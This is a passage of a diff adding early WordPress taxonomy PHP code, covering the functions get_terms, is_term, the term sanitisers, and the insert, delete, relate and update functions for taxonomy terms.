+	if ( '' !== $parent ) {
+		$parent = (int) $parent;
+		$where .= " AND tt.parent = '$parent'";
+	}
+
+	if ( $hide_empty && !$hierarchical )
+		$where .= ' AND tt.count > 0';
+
+	// don't limit the query results when we have to descend the family tree
+	if ( ! empty($number) && ! $hierarchical && empty( $child_of ) && '' === $parent ) {
+		if( $offset )
+			$limit = 'LIMIT ' . $offset . ',' . $number;
+		else
+			$limit = 'LIMIT ' . $number;
+
+	} else
+		$limit = '';
+
+	if ( !empty($search) ) {
+		$search = like_escape($search);
+		$where .= " AND (t.name LIKE '%$search%')";
+	}
+
+	$selects = array();
+	if ( 'all' == $fields )
+		$selects = array('t.*', 'tt.*');
+	else if ( 'ids' == $fields )
+		$selects = array('t.term_id', 'tt.parent', 'tt.count');
+	else if ( 'names' == $fields )
+		$selects = array('t.term_id', 'tt.parent', 'tt.count', 't.name');
+        $select_this = implode(', ', apply_filters( 'get_terms_fields', $selects, $args ));
+
+	$query = "SELECT $select_this FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ($in_taxonomies) $where ORDER BY $orderby $order $limit";
+
+	$terms = $wpdb->get_results($query);
+	if ( 'all' == $fields ) {
+		update_term_cache($terms);
+	}
+
+	if ( empty($terms) ) {
+		wp_cache_add( $cache_key, array(), 'terms' );
+		$terms = apply_filters('get_terms', array(), $taxonomies, $args);
+		return $terms;
+	}
+
+	if ( $child_of ) {
+		$children = _get_term_hierarchy($taxonomies[0]);
+		if ( ! empty($children) )
+			$terms = & _get_term_children($child_of, $terms, $taxonomies[0]);
+	}
+
+	// Update term counts to include children.
+	if ( $pad_counts && 'all' == $fields )
+		_pad_term_counts($terms, $taxonomies[0]);
+
+	// Make sure we show empty categories that have children.
+	if ( $hierarchical && $hide_empty && is_array($terms) ) {
+		foreach ( $terms as $k => $term ) {
+			if ( ! $term->count ) {
+				$children = _get_term_children($term->term_id, $terms, $taxonomies[0]);
+				if( is_array($children) )
+					foreach ( $children as $child )
+						if ( $child->count )
+							continue 2;
+
+				// It really is empty
+				unset($terms[$k]);
+			}
+		}
+	}
+	reset ( $terms );
+
+	$_terms = array();
+	if ( 'ids' == $fields ) {
+		while ( $term = array_shift($terms) )
+			$_terms[] = $term->term_id;
+		$terms = $_terms;
+	} elseif ( 'names' == $fields ) {
+		while ( $term = array_shift($terms) )
+			$_terms[] = $term->name;
+		$terms = $_terms;
+	}
+
+	if ( 0 < $number && intval(@count($terms)) > $number ) {
+		$terms = array_slice($terms, $offset, $number);
+	}
+
+	wp_cache_add( $cache_key, $terms, 'terms' );
+
+	$terms = apply_filters('get_terms', $terms, $taxonomies, $args);
+	return $terms;
+}
+
+/**
+ * Check if Term exists.
+ *
+ * Returns the index of a defined term, or 0 (false) if the term doesn't exist.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ *
+ * @param int|string $term The term to check
+ * @param string $taxonomy The taxonomy name to use
+ * @param int $parent ID of parent term under which to confine the exists search.
+ * @return mixed Get the term id or Term Object, if exists.
+ */
+function is_term($term, $taxonomy = '', $parent = 0) {
+	global $wpdb;
+
+	$select = "SELECT term_id FROM $wpdb->terms as t WHERE ";
+	$tax_select = "SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE ";
+
+	if ( is_int($term) ) {
+		if ( 0 == $term )
+			return 0;
+		$where = 't.term_id = %d';
+		if ( !empty($taxonomy) )
+			return $wpdb->get_row( $wpdb->prepare( $tax_select . $where . " AND tt.taxonomy = %s", $term, $taxonomy ), ARRAY_A );
+		else
+			return $wpdb->get_var( $wpdb->prepare( $select . $where, $term ) );
+	}
+
+	$term = trim( stripslashes( $term ) );
+
+	if ( '' === $slug = sanitize_title($term) )
+		return 0;
+
+	$where = 't.slug = %s';
+	$else_where = 't.name = %s';
+	$where_fields = array($slug);
+	$else_where_fields = array($term);
+	if ( !empty($taxonomy) ) {
+		$parent = (int) $parent;
+		if ( $parent > 0 ) {
+			$where_fields[] = $parent;
+			$else_where_fields[] = $parent;
+			$where .= ' AND tt.parent = %d';
+			$else_where .= ' AND tt.parent = %d';
+		}
+
+		$where_fields[] = $taxonomy;
+		$else_where_fields[] = $taxonomy;
+
+		if ( $result = $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $where AND tt.taxonomy = %s", $where_fields), ARRAY_A) )
+			return $result;
+
+		return $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $else_where AND tt.taxonomy = %s", $else_where_fields), ARRAY_A);
+	}
+
+	if ( $result = $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $where", $where_fields) ) )
+		return $result;
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $else_where", $else_where_fields) );
+}
+
+/**
+ * Sanitize Term all fields.
+ *
+ * Relys on sanitize_term_field() to sanitize the term. The difference is that
+ * this function will sanitize <strong>all</strong> fields. The context is based
+ * on sanitize_term_field().
+ *
+ * The $term is expected to be either an array or an object.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses sanitize_term_field Used to sanitize all fields in a term
+ *
+ * @param array|object $term The term to check
+ * @param string $taxonomy The taxonomy name to use
+ * @param string $context Default is 'display'.
+ * @return array|object Term with all fields sanitized
+ */
+function sanitize_term($term, $taxonomy, $context = 'display') {
+
+	if ( 'raw' == $context )
+		return $term;
+
+	$fields = array('term_id', 'name', 'description', 'slug', 'count', 'parent', 'term_group');
+
+	$do_object = false;
+	if ( is_object($term) )
+		$do_object = true;
+
+	$term_id = $do_object ? $term->term_id : (isset($term['term_id']) ? $term['term_id'] : 0);
+
+	foreach ( (array) $fields as $field ) {
+		if ( $do_object ) {
+			if ( isset($term->$field) )
+				$term->$field = sanitize_term_field($field, $term->$field, $term_id, $taxonomy, $context);
+		} else {
+			if ( isset($term[$field]) )
+				$term[$field] = sanitize_term_field($field, $term[$field], $term_id, $taxonomy, $context);
+		}
+	}
+
+	if ( $do_object )
+		$term->filter = $context;
+	else
+		$term['filter'] = $context;
+
+	return $term;
+}
+
+/**
+ * Cleanse the field value in the term based on the context.
+ *
+ * Passing a term field value through the function should be assumed to have
+ * cleansed the value for whatever context the term field is going to be used.
+ *
+ * If no context or an unsupported context is given, then default filters will
+ * be applied.
+ *
+ * There are enough filters for each context to support a custom filtering
+ * without creating your own filter function. Simply create a function that
+ * hooks into the filter you need.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ *
+ * @param string $field Term field to sanitize
+ * @param string $value Search for this term value
+ * @param int $term_id Term ID
+ * @param string $taxonomy Taxonomy Name
+ * @param string $context Either edit, db, display, attribute, or js.
+ * @return mixed sanitized field
+ */
+function sanitize_term_field($field, $value, $term_id, $taxonomy, $context) {
+	if ( 'parent' == $field  || 'term_id' == $field || 'count' == $field || 'term_group' == $field ) {
+		$value = (int) $value;
+		if ( $value < 0 )
+			$value = 0;
+	}
+
+	if ( 'raw' == $context )
+		return $value;
+
+	if ( 'edit' == $context ) {
+		$value = apply_filters("edit_term_$field", $value, $term_id, $taxonomy);
+		$value = apply_filters("edit_${taxonomy}_$field", $value, $term_id);
+		if ( 'description' == $field )
+			$value = format_to_edit($value);
+		else
+			$value = esc_attr($value);
+	} else if ( 'db' == $context ) {
+		$value = apply_filters("pre_term_$field", $value, $taxonomy);
+		$value = apply_filters("pre_${taxonomy}_$field", $value);
+		// Back compat filters
+		if ( 'slug' == $field )
+			$value = apply_filters('pre_category_nicename', $value);
+
+	} else if ( 'rss' == $context ) {
+		$value = apply_filters("term_${field}_rss", $value, $taxonomy);
+		$value = apply_filters("${taxonomy}_${field}_rss", $value);
+	} else {
+		// Use display filters by default.
+		$value = apply_filters("term_$field", $value, $term_id, $taxonomy, $context);
+		$value = apply_filters("${taxonomy}_$field", $value, $term_id, $context);
+	}
+
+	if ( 'attribute' == $context )
+		$value = esc_attr($value);
+	else if ( 'js' == $context )
+		$value = esc_js($value);
+
+	return $value;
+}
+
+/**
+ * Count how many terms are in Taxonomy.
+ *
+ * Default $args is 'ignore_empty' which can be <code>'ignore_empty=true'</code>
+ * or <code>array('ignore_empty' => true);</code>.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ * @uses wp_parse_args() Turns strings into arrays and merges defaults into an array.
+ *
+ * @param string $taxonomy Taxonomy name
+ * @param array|string $args Overwrite defaults
+ * @return int How many terms are in $taxonomy
+ */
+function wp_count_terms( $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	$defaults = array('ignore_empty' => false);
+	$args = wp_parse_args($args, $defaults);
+	extract($args, EXTR_SKIP);
+
+	$where = '';
+	if ( $ignore_empty )
+		$where = 'AND count > 0';
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE taxonomy = %s $where", $taxonomy) );
+}
+
+/**
+ * Will unlink the term from the taxonomy.
+ *
+ * Will remove the term's relationship to the taxonomy, not the term or taxonomy
+ * itself. The term and taxonomy will still exist. Will require the term's
+ * object ID to perform the operation.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param int $object_id The term Object Id that refers to the term
+ * @param string|array $taxonomy List of Taxonomy Names or single Taxonomy name.
+ */
+function wp_delete_object_term_relationships( $object_id, $taxonomies ) {
+	global $wpdb;
+
+	$object_id = (int) $object_id;
+
+	if ( !is_array($taxonomies) )
+		$taxonomies = array($taxonomies);
+
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		$tt_ids = wp_get_object_terms($object_id, $taxonomy, 'fields=tt_ids');
+		$in_tt_ids = "'" . implode("', '", $tt_ids) . "'";
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_tt_ids)", $object_id) );
+		wp_update_term_count($tt_ids, $taxonomy);
+	}
+}
+
+/**
+ * Removes a term from the database.
+ *
+ * If the term is a parent of other terms, then the children will be updated to
+ * that term's parent.
+ *
+ * The $args 'default' will only override the terms found, if there is only one
+ * term found. Any other and the found terms are used.
+ *
+ * The $args 'force_default' will force the term supplied as default to be
+ * assigned even if the object was not going to be termless
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ * @uses do_action() Calls both 'delete_term' and 'delete_$taxonomy' action
+ *	hooks, passing term object, term id. 'delete_term' gets an additional
+ *	parameter with the $taxonomy parameter.
+ *
+ * @param int $term Term ID
+ * @param string $taxonomy Taxonomy Name
+ * @param array|string $args Optional. Change 'default' term id and override found term ids.
+ * @return bool|WP_Error Returns false if not term; true if completes delete action.
+ */
+function wp_delete_term( $term, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	$term = (int) $term;
+
+	if ( ! $ids = is_term($term, $taxonomy) )
+		return false;
+	if ( is_wp_error( $ids ) )
+		return $ids;
+
+	$tt_id = $ids['term_taxonomy_id'];
+
+	$defaults = array();
+	$args = wp_parse_args($args, $defaults);
+	extract($args, EXTR_SKIP);
+
+	if ( isset($default) ) {
+		$default = (int) $default;
+		if ( ! is_term($default, $taxonomy) )
+			unset($default);
+	}
+
+	// Update children to point to new parent
+	if ( is_taxonomy_hierarchical($taxonomy) ) {
+		$term_obj = get_term($term, $taxonomy);
+		if ( is_wp_error( $term_obj ) )
+			return $term_obj;
+		$parent = $term_obj->parent;
+
+		$wpdb->update( $wpdb->term_taxonomy, compact( 'parent' ), array( 'parent' => $term_obj->term_id) + compact( 'taxonomy' ) );
+	}
+
+	$objects = $wpdb->get_col( $wpdb->prepare( "SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tt_id ) );
+
+	foreach ( (array) $objects as $object ) {
+		$terms = wp_get_object_terms($object, $taxonomy, array('fields' => 'ids', 'orderby' => 'none'));
+		if ( 1 == count($terms) && isset($default) ) {
+			$terms = array($default);
+		} else {
+			$terms = array_diff($terms, array($term));
+			if (isset($default) && isset($force_default) && $force_default)
+				$terms = array_merge($terms, array($default));
+		}
+		$terms = array_map('intval', $terms);
+		wp_set_object_terms($object, $terms, $taxonomy);
+	}
+
+	$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->term_taxonomy WHERE term_taxonomy_id = %d", $tt_id ) );
+
+	// Delete the term if no taxonomies use it.
+	if ( !$wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term) ) )
+		$wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->terms WHERE term_id = %d", $term) );
+
+	clean_term_cache($term, $taxonomy);
+
+	do_action('delete_term', $term, $tt_id, $taxonomy);
+	do_action("delete_$taxonomy", $term, $tt_id);
+
+	return true;
+}
+
+/**
+ * Retrieves the terms associated with the given object(s), in the supplied taxonomies.
+ *
+ * The following information has to do the $args parameter and for what can be
+ * contained in the string or array of that parameter, if it exists.
+ *
+ * The first argument is called, 'orderby' and has the default value of 'name'.
+ * The other value that is supported is 'count'.
+ *
+ * The second argument is called, 'order' and has the default value of 'ASC'.
+ * The only other value that will be acceptable is 'DESC'.
+ *
+ * The final argument supported is called, 'fields' and has the default value of
+ * 'all'. There are multiple other options that can be used instead. Supported
+ * values are as follows: 'all', 'ids', 'names', and finally
+ * 'all_with_object_id'.
+ *
+ * The fields argument also decides what will be returned. If 'all' or
+ * 'all_with_object_id' is choosen or the default kept intact, then all matching
+ * terms objects will be returned. If either 'ids' or 'names' is used, then an
+ * array of all matching term ids or term names will be returned respectively.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param int|array $object_id The id of the object(s) to retrieve.
+ * @param string|array $taxonomies The taxonomies to retrieve terms from.
+ * @param array|string $args Change what is returned
+ * @return array|WP_Error The requested term data or empty array if no terms found. WP_Error if $taxonomy does not exist.
+ */
+function wp_get_object_terms($object_ids, $taxonomies, $args = array()) {
+	global $wpdb;
+
+	if ( !is_array($taxonomies) )
+		$taxonomies = array($taxonomies);
+
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		if ( ! is_taxonomy($taxonomy) )
+			return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+	}
+
+	if ( !is_array($object_ids) )
+		$object_ids = array($object_ids);
+	$object_ids = array_map('intval', $object_ids);
+
+	$defaults = array('orderby' => 'name', 'order' => 'ASC', 'fields' => 'all');
+	$args = wp_parse_args( $args, $defaults );
+
+	$terms = array();
+	if ( count($taxonomies) > 1 ) {
+		foreach ( $taxonomies as $index => $taxonomy ) {
+			$t = get_taxonomy($taxonomy);
+			if ( isset($t->args) && is_array($t->args) && $args != array_merge($args, $t->args) ) {
+				unset($taxonomies[$index]);
+				$terms = array_merge($terms, wp_get_object_terms($object_ids, $taxonomy, array_merge($args, $t->args)));
+			}
+		}
+	} else {
+		$t = get_taxonomy($taxonomies[0]);
+		if ( isset($t->args) && is_array($t->args) )
+			$args = array_merge($args, $t->args);
+	}
+
+	extract($args, EXTR_SKIP);
+
+	if ( 'count' == $orderby )
+		$orderby = 'tt.count';
+	else if ( 'name' == $orderby )
+		$orderby = 't.name';
+	else if ( 'slug' == $orderby )
+		$orderby = 't.slug';
+	else if ( 'term_group' == $orderby )
+		$orderby = 't.term_group';
+	else if ( 'term_order' == $orderby )
+		$orderby = 'tr.term_order';
+	else if ( 'none' == $orderby ) {
+		$orderby = '';
+		$order = '';
+	} else {
+		$orderby = 't.term_id';
+	}
+
+	// tt_ids queries can only be none or tr.term_taxonomy_id
+	if ( ('tt_ids' == $fields) && !empty($orderby) )
+		$orderby = 'tr.term_taxonomy_id';
+
+	if ( !empty($orderby) )
+		$orderby = "ORDER BY $orderby";
+
+	$taxonomies = "'" . implode("', '", $taxonomies) . "'";
+	$object_ids = implode(', ', $object_ids);
+
+	$select_this = '';
+	if ( 'all' == $fields )
+		$select_this = 't.*, tt.*';
+	else if ( 'ids' == $fields )
+		$select_this = 't.term_id';
+	else if ( 'names' == $fields )
+		$select_this = 't.name';
+	else if ( 'all_with_object_id' == $fields )
+		$select_this = 't.*, tt.*, tr.object_id';
+
+	$query = "SELECT $select_this FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON tt.term_id = t.term_id INNER JOIN $wpdb->term_relationships AS tr ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tr.object_id IN ($object_ids) $orderby $order";
+
+	if ( 'all' == $fields || 'all_with_object_id' == $fields ) {
+		$terms = array_merge($terms, $wpdb->get_results($query));
+		update_term_cache($terms);
+	} else if ( 'ids' == $fields || 'names' == $fields ) {
+		$terms = array_merge($terms, $wpdb->get_col($query));
+	} else if ( 'tt_ids' == $fields ) {
+		$terms = $wpdb->get_col("SELECT tr.term_taxonomy_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tr.object_id IN ($object_ids) AND tt.taxonomy IN ($taxonomies) $orderby $order");
+	}
+
+	if ( ! $terms )
+		$terms = array();
+
+	return apply_filters('wp_get_object_terms', $terms, $object_ids, $taxonomies, $args);
+}
+
+/**
+ * Adds a new term to the database. Optionally marks it as an alias of an existing term.
+ *
+ * Error handling is assigned for the nonexistance of the $taxonomy and $term
+ * parameters before inserting. If both the term id and taxonomy exist
+ * previously, then an array will be returned that contains the term id and the
+ * contents of what is returned. The keys of the array are 'term_id' and
+ * 'term_taxonomy_id' containing numeric values.
+ *
+ * It is assumed that the term does not yet exist or the above will apply. The
+ * term will be first added to the term table and then related to the taxonomy
+ * if everything is well. If everything is correct, then several actions will be
+ * run prior to a filter and then several actions will be run after the filter
+ * is run.
+ *
+ * The arguments decide how the term is handled based on the $args parameter.
+ * The following is a list of the available overrides and the defaults.
+ *
+ * 'alias_of'. There is no default, but if added, expected is the slug that the
+ * term will be an alias of. Expected to be a string.
+ *
+ * 'description'. There is no default. If exists, will be added to the database
+ * along with the term. Expected to be a string.
+ *
+ * 'parent'. Expected to be numeric and default is 0 (zero). Will assign value
+ * of 'parent' to the term.
+ *
+ * 'slug'. Expected to be a string. There is no default.
+ *
+ * If 'slug' argument exists then the slug will be checked to see if it is not
+ * a valid term. If that check succeeds (it is not a valid term), then it is
+ * added and the term id is given. If it fails, then a check is made to whether
+ * the taxonomy is hierarchical and the parent argument is not empty. If the
+ * second check succeeds, the term will be inserted and the term id will be
+ * given.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @uses do_action() Calls 'create_term' hook with the term id and taxonomy id as parameters.
+ * @uses do_action() Calls 'create_$taxonomy' hook with term id and taxonomy id as parameters.
+ * @uses apply_filters() Calls 'term_id_filter' hook with term id and taxonomy id as parameters.
+ * @uses do_action() Calls 'created_term' hook with the term id and taxonomy id as parameters.
+ * @uses do_action() Calls 'created_$taxonomy' hook with term id and taxonomy id as parameters.
+ *
+ * @param int|string $term The term to add or update.
+ * @param string $taxonomy The taxonomy to which to add the term
+ * @param array|string $args Change the values of the inserted term
+ * @return array|WP_Error The Term ID and Term Taxonomy ID
+ */
+function wp_insert_term( $term, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	if ( ! is_taxonomy($taxonomy) )
+		return new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+
+	if ( is_int($term) && 0 == $term )
+		return new WP_Error('invalid_term_id', __('Invalid term ID'));
+
+	if ( '' == trim($term) )
+		return new WP_Error('empty_term_name', __('A name is required for this term'));
+
+	$defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => '');
+	$args = wp_parse_args($args, $defaults);
+	$args['name'] = $term;
+	$args['taxonomy'] = $taxonomy;
+	$args = sanitize_term($args, $taxonomy, 'db');
+	extract($args, EXTR_SKIP);
+
+	// expected_slashed ($name)
+	$name = stripslashes($name);
+	$description = stripslashes($description);
+
+	if ( empty($slug) )
+		$slug = sanitize_title($name);
+
+	$term_group = 0;
+	if ( $alias_of ) {
+		$alias = $wpdb->get_row( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $alias_of) );
+		if ( $alias->term_group ) {
+			// The alias we want is already in a group, so let's use that one.
+			$term_group = $alias->term_group;
+		} else {
+			// The alias isn't in a group, so let's create a new one and firstly add the alias term to it.
+			$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1;
+			$wpdb->update($wpdb->terms, compact('term_group'), array('term_id' => $alias->term_id) );
+		}
+	}
+
+	if ( ! $term_id = is_term($slug) ) {
+		if ( false === $wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) ) )
+			return new WP_Error('db_insert_error', __('Could not insert term into the database'), $wpdb->last_error);
+		$term_id = (int) $wpdb->insert_id;
+	} else if ( is_taxonomy_hierarchical($taxonomy) && !empty($parent) ) {
+		// If the taxonomy supports hierarchy and the term has a parent, make the slug unique
+		// by incorporating parent slugs.
+		$slug = wp_unique_term_slug($slug, (object) $args);
+		if ( false === $wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) ) )
+			return new WP_Error('db_insert_error', __('Could not insert term into the database'), $wpdb->last_error);
+		$term_id = (int) $wpdb->insert_id;
+	}
+
+	if ( empty($slug) ) {
+		$slug = sanitize_title($slug, $term_id);
+		$wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) );
+	}
+
+	$tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) );
+
+	if ( !empty($tt_id) )
+		return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+
+	$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent') + array( 'count' => 0 ) );
+	$tt_id = (int) $wpdb->insert_id;
+
+	do_action("create_term", $term_id, $tt_id);
+	do_action("create_$taxonomy", $term_id, $tt_id);
+
+	$term_id = apply_filters('term_id_filter', $term_id, $tt_id);
+
+	clean_term_cache($term_id, $taxonomy);
+
+	do_action("created_term", $term_id, $tt_id);
+	do_action("created_$taxonomy", $term_id, $tt_id);
+
+	return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+}
+
+/**
+ * Create Term and Taxonomy Relationships.
+ *
+ * Relates an object (post, link etc) to a term and taxonomy type. Creates the
+ * term and taxonomy relationship if it doesn't already exist. Creates a term if
+ * it doesn't exist (using the slug).
+ *
+ * A relationship means that the term is grouped in or belongs to the taxonomy.
+ * A term has no meaning until it is given context by defining which taxonomy it
+ * exists under.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param int $object_id The object to relate to.
+ * @param array|int|string $term The slug or id of the term, will replace all existing
+ * related terms in this taxonomy.
+ * @param array|string $taxonomy The context in which to relate the term to the object.
+ * @param bool $append If false will delete difference of terms.
+ * @return array|WP_Error Affected Term IDs
+ */
+function wp_set_object_terms($object_id, $terms, $taxonomy, $append = false) {
+	global $wpdb;
+
+	$object_id = (int) $object_id;
+
+	if ( ! is_taxonomy($taxonomy) )
+		return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+
+	if ( !is_array($terms) )
+		$terms = array($terms);
+
+	if ( ! $append )
+		$old_tt_ids =  wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids', 'orderby' => 'none'));
+
+	$tt_ids = array();
+	$term_ids = array();
+
+	foreach ( (array) $terms as $term) {
+		if ( !strlen(trim($term)) )
+			continue;
+
+		if ( !$term_info = is_term($term, $taxonomy) )
+			$term_info = wp_insert_term($term, $taxonomy);
+		if ( is_wp_error($term_info) )
+			return $term_info;
+		$term_ids[] = $term_info['term_id'];
+		$tt_id = $term_info['term_taxonomy_id'];
+		$tt_ids[] = $tt_id;
+
+		if ( $wpdb->get_var( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $tt_id ) ) )
+			continue;
+		$wpdb->insert( $wpdb->term_relationships, array( 'object_id' => $object_id, 'term_taxonomy_id' => $tt_id ) );
+	}
+
+	wp_update_term_count($tt_ids, $taxonomy);
+
+	if ( ! $append ) {
+		$delete_terms = array_diff($old_tt_ids, $tt_ids);
+		if ( $delete_terms ) {
+			$in_delete_terms = "'" . implode("', '", $delete_terms) . "'";
+			$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id IN ($in_delete_terms)", $object_id) );
+			wp_update_term_count($delete_terms, $taxonomy);
+		}
+	}
+
+	$t = get_taxonomy($taxonomy);
+	if ( ! $append && isset($t->sort) && $t->sort ) {
+		$values = array();
+		$term_order = 0;
+		$final_tt_ids = wp_get_object_terms($object_id, $taxonomy, 'fields=tt_ids');
+		foreach ( $tt_ids as $tt_id )
+			if ( in_array($tt_id, $final_tt_ids) )
+				$values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $tt_id, ++$term_order);
+		if ( $values )
+			$wpdb->query("INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)");
+	}
+
+	do_action('set_object_terms', $object_id, $terms, $tt_ids, $taxonomy, $append);
+	return $tt_ids;
+}
+
+/**
+ * Will make slug unique, if it isn't already.
+ *
+ * The $slug has to be unique global to every taxonomy, meaning that one
+ * taxonomy term can't have a matching slug with another taxonomy term. Each
+ * slug has to be globally unique for every taxonomy.
+ *
+ * The way this works is that if the taxonomy that the term belongs to is
+ * heirarchical and has a parent, it will append that parent to the $slug.
+ *
+ * If that still doesn't return an unique slug, then it try to append a number
+ * until it finds a number that is truely unique.
+ *
+ * The only purpose for $term is for appending a parent, if one exists.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ * @uses $wpdb
+ *
+ * @param string $slug The string that will be tried for a unique slug
+ * @param object $term The term object that the $slug will belong too
+ * @return string Will return a true unique slug.
+ */
+function wp_unique_term_slug($slug, $term) {
+	global $wpdb;
+
+	// If the taxonomy supports hierarchy and the term has a parent, make the slug unique
+	// by incorporating parent slugs.
+	if ( is_taxonomy_hierarchical($term->taxonomy) && !empty($term->parent) ) {
+		$the_parent = $term->parent;
+		while ( ! empty($the_parent) ) {
+			$parent_term = get_term($the_parent, $term->taxonomy);
+			if ( is_wp_error($parent_term) || empty($parent_term) )
+				break;
+				$slug .= '-' . $parent_term->slug;
+			if ( empty($parent_term->parent) )
+				break;
+			$the_parent = $parent_term->parent;
+		}
+	}
+
+	// If we didn't get a unique slug, try appending a number to make it unique.
+	if ( !empty($args['term_id']) )
+		$query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s AND term_id != %d", $slug, $args['term_id'] );
+	else
+		$query = $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $slug );
+
+	if ( $wpdb->get_var( $query ) ) {
+		$num = 2;
+		do {
+			$alt_slug = $slug . "-$num";
+			$num++;
+			$slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) );
+		} while ( $slug_check );
+		$slug = $alt_slug;
+	}
+
+	return $slug;
+}
+
+/**
+ * Update term based on arguments provided.
+ *
+ * The $args will indiscriminately override all values with the same field name.
+ * Care must be taken to not override important information need to update or
+ * update will fail (or perhaps create a new term, neither would be acceptable).
+ *
+ * Defaults will set 'alias_of', 'description', 'parent', and 'slug' if not
+ * defined in $args already.
+ *
+ * 'alias_of' will create a term group, if it doesn't already exist, and update
+ * it for the $term.
+ *
+ * If the 'slug' argument in $args is missing, then the 'name' in $args will be
+ * used. It should also be noted that if you set 'slug' and it isn't unique then
+ * a WP_Error will be passed back. If you don't pass any slug, then a unique one
+ * will be created for you.
+ *
+ * For what can be overrode in $args, check the term scheme can contain and stay
+ * away from the term keys.
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ *
+ * @uses $wpdb
+ * @uses do_action() Will call both 'edit_term' and 'edit_$taxonomy' twice.
+ * @uses apply_filters() Will call the 'term_id_filter' filter and pass the term
+ *	id and taxonomy id.
+ *
+ * @param int $term_id The ID of the term
+ * @param string $taxonomy The context in which to relate the term to the object.
+ * @param array|string $args Overwrite term field values
+ * @return array|WP_Error Returns Term ID and Taxonomy Term ID
+ */
+function wp_update_term( $term_id, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	if ( ! is_taxonomy($taxonomy) )
+		return new WP_Error('invalid_taxonomy', __('Invalid taxonomy'));
+
+	$term_id = (int) $term_id;
+
+	// First, get all of the original args
+	$term = get_term ($term_id, $taxonomy, ARRAY_A);
+
+	if ( is_wp_error( $term ) )
+		return $term;
+
+	// Escape data pulled from DB.
+	$term = add_magic_quotes($term);
+
+	// Merge old and new args with new args overwriting old ones.
+	$args = array_merge($term, $args);
+
